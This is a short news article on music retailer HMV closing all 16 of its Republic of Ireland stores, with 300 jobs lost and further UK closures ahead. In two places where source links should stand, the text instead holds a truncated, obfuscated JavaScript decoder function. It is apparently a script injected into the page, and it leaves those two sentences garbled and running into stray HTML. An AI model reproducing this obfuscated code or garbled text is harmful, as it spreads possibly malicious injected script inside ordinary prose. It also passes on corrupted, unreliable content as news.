HMV Shuts Down 16 Ireland Stores, 300 Jobs Lost

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Music and DVD retail chain HMV has completely quit the Republic of Ireland as it declared that it is set to close all of its local stores declaring bankruptcy with the loss of 16 stores and 300 jobs.

HMV
Image source: Kitguru.Net

The shops had been put into receivership and the staff was recently placed on temporary lay-off but will now be made redundant. Deloitte, the HMV administrator, asked the Ireland operation to close down the stores and seek for a buyer but the company declared that the efforts have not proved successful.

According to function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand" target="_blank">Eurogamer.net, "The Receiver to HMV Ireland Limited, David Carson of Deloitte, today confirmed with regret that the 16 stores, which were closed by HMV Ireland prior to receivership, will not reopen. All 300 staff, previously placed on temporary lay-off, will now be made redundant.”

In a statement to the function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand/all-16-hmv-stores-to-close-300-jobs-lost-584485.html" target="_blank">Irish Examiner, the company said, "Since his appointment, the receiver has conducted an assessment of the viability of the company and has actively sought a sale. The marketplace is very difficult given competition from web-based retailers and digital downloads, compounded by a number of other factors including high levels of rent. All stores were loss-making and it was not possible to attract a purchaser. All stores were loss making and it was not possible to attract a purchaser."

In the coming months, 66 store outlets will be closing in England, Northern Ireland, and Wales, threatening 930 jobs, as well as terminating the contracts of 190 employees at the company's headquarters. This has led to a backlash against the company over at Twitter.

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